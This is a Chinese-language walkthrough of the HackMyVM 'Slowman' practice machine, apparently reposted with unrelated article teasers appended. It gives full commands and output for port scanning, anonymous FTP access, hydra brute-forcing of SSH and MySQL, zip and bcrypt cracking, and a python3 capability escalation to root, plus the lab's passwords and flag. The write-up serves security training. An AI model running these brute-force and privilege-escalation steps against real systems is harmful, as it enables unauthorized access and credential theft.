【hackmyvm】Slowman靶机

文章目录

  • 主机探测
  • 端口探测
    • FTP匿名登录
  • 目录探测
  • hydra爆破
  • mysql
  • 爆破zip------fcrackzip
  • 爆破密码-----john
  • 提权

主机探测

在这里插入图片描述

┌──(root㉿kali)-[/home/kali]
└─# fping -ag 192.168.9.1/24 2>/dev/null
192.168.9.221      主机192.168.9.224      靶机

端口探测

┌──(root㉿kali)-[/home/kali]
└─# nmap -sV -O -A -p- 192.168.9.224 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-20 05:43 EDT
Nmap scan report for 192.168.9.224
Host is up (0.0027s latency).PORT     STATE  SERVICE  VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp      vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.9.221
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp   open   ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02d65e01455b8d2df9cb0bdf45670422 (ECDSA)
|_  256 f9ce4a7507d0051dfba7a769391b0810 (ED25519)
80/tcp   open   http     Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Fastgym
|_http-server-header: Apache/2.4.52 (Ubuntu)
3306/tcp open   mysql    MySQL 8.0.35-0ubuntu0.22.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.35-0ubuntu0.22.04.1
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, SupportsCompression, Support41Auth, ConnectWithDatabase, Speaks41ProtocolOld, SupportsTransactions, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, InteractiveClient, LongColumnFlag, LongPassword, ODBCClient, FoundRows, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: >@\x14l63aIW\x1F\x0F \x05\x1A}\x1D.xl\x0E
|_  Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.35_Auto_Generated_Server_Certificate
| Not valid before: 2023-11-22T19:44:52
|_Not valid after:  2033-11-19T19:44:52
MAC Address: 08:00:27:9A:5F:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   2.65 ms 192.168.9.224

FTP匿名登录

anonymous/anonymous┌──(root㉿kali)-[/home/kali]
└─# ftp 192.168.9.224
Connected to 192.168.9.224.
220 (vsFTPd 3.0.5)
Name (192.168.9.224:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              12 Nov 22 21:46 allowedusersmysql.txt
226 Directory send OK.
ftp> get allowedusersmysql.txt
local: allowedusersmysql.txt remote: allowedusersmysql.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for allowedusersmysql.txt (12 bytes).
100% |*************************************************************************************************************|    12        8.91 KiB/s    00:00 ETA
226 Transfer complete.
12 bytes received in 00:00 (3.95 KiB/s)┌──(root㉿kali)-[/home/kali]
└─# cat allowedusersmysql.txt 
trainerjeff

找到trainerjeff,可能使账号或密码

目录探测

┌──(root㉿kali)-[/home/kali/slowman/192.168.9.224/images]
└─# dirsearch -u http://192.168.9.224/_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /home/kali/slowman/192.168.9.224/images/reports/http_192.168.9.224/__24-05-20_07-01-06.txtTarget: http://192.168.9.224/[07:01:06] Starting: [07:01:52] 200 -    1KB - /contact.html                                     
[07:01:53] 301 -  312B  - /css  ->  http://192.168.9.224/css/               
[07:02:04] 301 -  315B  - /images  ->  http://192.168.9.224/images/         
[07:02:04] 200 -  812B  - /images/                                          
[07:02:07] 200 -  494B  - /js/                                              

hydra爆破

在FTP中得到的账号,爆破一下SSH

┌──(root㉿kali)-[/home/kali/slowman/192.168.9.224/images]
└─# hydra -l trainerjeff -P /usr/share/wordlists/rockyou.txt ssh://192.168.9.224
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-20 07:10:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.9.224:22/
[STATUS] 100.00 tries/min, 100 tries in 00:01h, 14344305 to do in 2390:44h, 10 active
^Z
[5]+  已停止               hydra -l trainerjeff -P /usr/share/wordlists/rockyou.txt ssh://192.168.9.224

SSH爆破无果,试试mysql

┌──(root㉿kali)-[/home/kali/slowman/192.168.9.224/images]
└─# hydra -l trainerjeff -P /usr/share/wordlists/rockyou.txt mysql://192.168.9.224
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-20 07:12:30
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://192.168.9.224:3306/
[3306][mysql] host: 192.168.9.224   login: trainerjeff   password: soccer1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-20 07:12:42

得到账号密码trainerjeff /soccer1

mysql

┌──(root㉿kali)-[/home/kali/slowman/192.168.9.224/images]
└─# mysql -h 192.168.9.224 -utrainerjeff -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1078
Server version: 8.0.35-0ubuntu0.22.04.1 (Ubuntu)Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| trainers_db        |
+--------------------+
5 rows in set (0.124 sec)MySQL [(none)]> use trainers_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changedMySQL [trainers_db]> show tables;
+-----------------------+
| Tables_in_trainers_db |
+-----------------------+
| users                 |
+-----------------------+
1 row in set (0.003 sec)MySQL [trainers_db]> select * from users;
+----+-----------------+-------------------------------+
| id | user            | password                      |
+----+-----------------+-------------------------------+
|  1 | gonzalo         | tH1sS2stH3g0nz4l0pAsSWW0rDD!! |
|  2 | $SECRETLOGINURL | /secretLOGIN/login.html       |
+----+-----------------+-------------------------------+
2 rows in set (0.002 sec)

发现/secretLOGIN/login.html为登录地址,根据账号密码登录发现一个zip,但是需要密码在这里插入图片描述

爆破zip------fcrackzip

得到用户名和加密的密码

┌──(root㉿kali)-[/home/kali/slowman/192.168.9.224]
└─# fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt credentials.zip PASSWORD FOUND!!!!: pw == spongebob1┌──(root㉿kali)-[/home/kali/slowman/192.168.9.224]
└─# unzip credentials.zip 
Archive:  credentials.zip
[credentials.zip] passwords.txt password: inflating: passwords.txt           ┌──(root㉿kali)-[/home/kali/slowman/192.168.9.224]
└─# cat passwords.txt 
----------
$USERS: trainerjean$PASSWORD: $2y$10$DBFBehmbO6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq 

爆破密码-----john

┌──(root㉿kali)-[/home/kali/slowman/192.168.9.224]
└─# john hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
tweety1          (?)     
1g 0:00:02:06 DONE 2/3 (2024-05-20 07:47) 0.007905g/s 84.24p/s 84.24c/s 84.24C/s sonic1..warriors1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

提权

trainerjean | tweety1
上传linpeas.sh文件,报一下

在这里插入图片描述
Capabilities提权详细解释

trainerjean@slowman:/tmp$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)
# cd /root
# ls
root.txt  snap
# cat root.txt
Y0UGE23t7hE515roo7664pa5$WoRDOFSlowmaN!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/14391.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【教程】Linux 安装 kkFileView 文档在线预览项目 及优化

【教程】Linux 安装 kkFileView 文档在线预览项目 官网 kkFileView - 在线文件预览 (keking.cn) 安装包 可以直接下载成品 也可以下载source 源码 自己编译 kkFileView 发行版 - Gitee.com 打开IDEA 然后先clear 再install 然后在 file-online-preview\server\target 目录…

WordPress插件Disable WP REST API,可根据是否登录来禁用REST API

前面跟大家分享了代码版禁用WordPress REST API的方法(详见『WordPress4.7以上版本如何禁用JSON REST API?』),不过有些站长不太敢折腾自己的网站代码,那么建议试试这款Disable WP REST API,它可以&#xf…

小结5:朗读练习第二段

五、朗读练习2 2024-5-6始,5-14终,5-15写。 我渐渐体会到一些朗读的乐趣。但我还要考研,要写作业、期末考试。如果是在大一该多好。我可以就这样一天一天的写下去,慢慢地有一些自己的作品,还能录视频发到b站上。 上一篇…

通过修改物理内存实现跨进程内存读写

习一下利用修改物理内存来跨进程内存读写 系统:win10 21h1 x64 编译环境: vs2022 详情见附录 基础 虚拟地址转物理地址 虚拟地址也称线性地址,一个线性地址进程的DirBase地址可以转换成物理地址。先来看线性地址的含义 在x64体系中只实现了48位的virtu…

刷题之从前序遍历与中序遍历序列构造二叉树(leetcode)

从前序遍历与中序遍历序列构造二叉树 前序遍历&#xff1a;中左右 中序遍历&#xff1a;左中右 前序遍历的第一个数必定为根节点&#xff0c;再到中序遍历中找到该数&#xff0c;数的左边是左子树&#xff0c;右边是右子树&#xff0c;进行递归即可。 #include<vector>…

Juniper查看并调整策略顺序

1.查看安全策略 >show security policies 顺序就是按照显示出来的顺序&#xff0c;与Index无关&#xff0c;从上到下匹配 2. 调整防火墙策略 #insert security policies from-zone CAMERAS to-zone INTERNET policy CAMERAS-to-NTP before policy CAMERAS-to-INTERNET …

操作系统3_作业与处理机调度

操作系统3_作业与处理机调度 文章目录 操作系统3_作业与处理机调度1. 作业的概念与组成2. 作业的建立及状态3. 处理机调度相关概念3.1 调度级别3.2 调度队列模型3.3 选择准则4. 作业调度与进程调度5. 典型处理机调度算法5.1 先来先服务算法FCFS5.2 短作业优先算法SJF5.3 优先级…

拨云见日,ATFX七场研讨会揭秘投资先机

财经先机&#xff0c;一手掌握。近期&#xff0c;随着国际金价持续走高&#xff0c;避险情绪高涨&#xff0c;由此激发新一轮投资热潮。作为业界领先的金融创新品牌&#xff0c;ATFX深受投资者认可和信赖&#xff0c;为助力广大投资者了解市场运行规律&#xff0c;捕捉财经脉络…

怎么画思维导图?方法介绍

怎么画思维导图&#xff1f;在数字化时代&#xff0c;思维导图已成为我们工作、学习和生活中的得力助手。它不仅能帮助我们更好地组织和表达思想&#xff0c;还能提升我们的思维能力和创造力。那么&#xff0c;哪些软件可以画思维导图呢&#xff1f;本文将为你揭秘几款功能强大…

Linux 应用入门(一)

1. 交叉编译 概念&#xff1a;在当前编译平台下&#xff0c;编译出来的程序能运行在体系结构不同的另一种目标平台上&#xff0c;但是编译平台本身却不能运行该程序。 为什么需要交叉编译&#xff1f; 速度&#xff1a;目标平台得运行速度比主机往往慢得多&#xff0c;因为许多…

Docker+nginx部署SpringBoot+vue前后端分离项目(保姆及入门指南)

前后分离项目部署 项目回顾工具上线准备1、win1.1、前端1.2、后端 2、linux环境2.1、安装docker2.2、安装docker compose2.3、编写Dockerfile文件2.4、编写docker-compose.yml文件2.5、修改application-pro.yml2.6、准备好nginx的挂载目录和配置2.7、部署后端服务 项目回顾 书…

数据挖掘实战-基于内容协同过滤算法的电影推荐系统

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…

OpenHarmony集成OCR三方库实现文字提取

1. 简介 Tesseract(Apache 2.0 License)是一个可以进行图像OCR识别的C库&#xff0c;可以跨平台运行 。本样例基于Tesseract库进行适配&#xff0c;使其可以运行在OpenAtom OpenHarmony&#xff08;以下简称“OpenHarmony”&#xff09;上&#xff0c;并新增N-API接口供上层应…

Ubuntu服务器运行Subspace节点和Farm

提供Subspace 节点部署&性能优化&机房托管&运维监控等服务。myto88 磁盘格式化 将插入的磁盘格式化。 sudo mkfs.ext4 -m 0 -T largefile4 /dev/sd*磁盘挂载 此处为语雀内容卡片&#xff0c;点击链接查看&#xff1a;https://www.yuque.com/u25096009/lvoxa…

企商在线荣登甲子光年“2024中国AI算力层创新企业”榜单

5月15日&#xff0c;「AI创生时代——2024甲子引力X科技产业新风向」大会在北京顺利举办&#xff0c;大会发布2024【星辰100】创新企业榜。企商在线凭借全栈式一体化AI算力能力&#xff0c;与超聚变、寒武纪等企业共同入选“2024中国AI算力层创新企业”榜单。 本次大会由中国科…

AJAX(JQuery版本)

目录 前言 一.load方法 1.1load()简介 1.2load()方法示例 1.3load()方法回调函数的参数 二.$.get()方法 2.1$.get()方法介绍 2.2详细说明 2.3一些例子 2.3.1请求test.php网页并传送两个参数 2.3.2显示test返回值 三.$.post()方法 3.1$.post()方法介绍 3.2详细说明 …

什么是云计算安全?如何保障云计算安全

云计算彻底改变了数据存储的世界&#xff0c;它使企业可以远程存储数据并随时随地从任何位置访问数据。存和取变得简单&#xff0c;也使得云上数据极易造成泄露或者被篡改&#xff0c;所以云计算安全就显得非常重要了。那么什么是云计算安全&#xff1f; 其实&#xff0c;云计…

WPS PPT学习笔记 1 排版4原则等基本技巧整理

排版原则 PPT的排版需要满足4原则&#xff1a;密性、对齐、重复和对比4个基本原则。 亲密性 彼此相关的元素应该靠近&#xff0c;成为一个视觉单位&#xff0c;减少混乱&#xff0c;形成清晰的结构。 两端对齐&#xff0c;1.5倍行距 在本例中&#xff0c;19年放左边&#x…

是谁的项目还在烂大街?一个基于 SpringBoot 的高性能短链系统

看了几百份简历&#xff0c;真的超过 90% 的小伙伴的项目是商城、RPC、秒杀、论坛、外卖、点评等等烂大街的项目&#xff0c;人人都知道这些项目烂大街了&#xff0c;但大部分同学还是得硬着头皮做&#xff0c;没办法&#xff0c;网络上能找到的、教程比较完善的就这些项目了&a…